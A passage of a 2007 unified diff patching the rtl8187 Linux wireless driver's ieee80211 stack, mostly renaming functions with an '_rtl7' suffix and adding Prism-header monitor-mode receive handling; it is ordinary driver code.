iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-02-26 03:05:15.911547530 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +63,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +83,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +91,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +102,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +116,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +141,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +152,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +170,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +178,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +194,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +213,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +246,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +271,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +285,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-02-26 03:05:15.941547983 +0100 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,83 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +128,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +158,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +197,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +210,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +220,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +242,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +251,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +317,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +358,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +368,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +403,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +413,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +431,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +508,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +547,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +565,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +593,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +619,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +639,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +670,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +683,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +694,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +728,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +738,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +758,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +786,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +827,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +960,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +977,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1028,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1055,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1078,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1211,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1219,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1236,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1268,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1303,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1326,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1370,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1385,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1403,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1411,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1419,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-02-26 03:05:15.981548586 +0100 @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,7 +34,7 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; @@ -52,7 +52,7 @@ * Then it updates the pointer so that * it points after the new MFIE tag added. */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -69,7 +69,7 @@ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -92,7 +92,7 @@ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; @@ -110,7 +110,7 @@ //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; @@ -125,15 +125,15 @@ return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -144,13 +144,13 @@ spin_lock_irqsave(&ieee->lock, flags); /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); if(single){ if(ieee->queue_stop){ - enqueue_mgmt(ieee,skb); + enqueue_mgmt_rtl7(ieee,skb); }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -184,7 +184,7 @@ } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -219,7 +219,7 @@ } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; @@ -228,7 +228,7 @@ len = ieee->current_network.ssid_len; - rate_len = ieee80211_MFIE_rate_len(ieee); + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); @@ -251,21 +251,21 @@ memcpy(tag, ieee->current_network.ssid, len); tag += len; - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; unsigned long flags; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } @@ -279,37 +279,37 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - skb = ieee80211_probe_req(ieee); + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; @@ -349,7 +349,7 @@ ieee->set_chan(ieee->dev, ch); - ieee80211_send_probe_requests(ieee); + 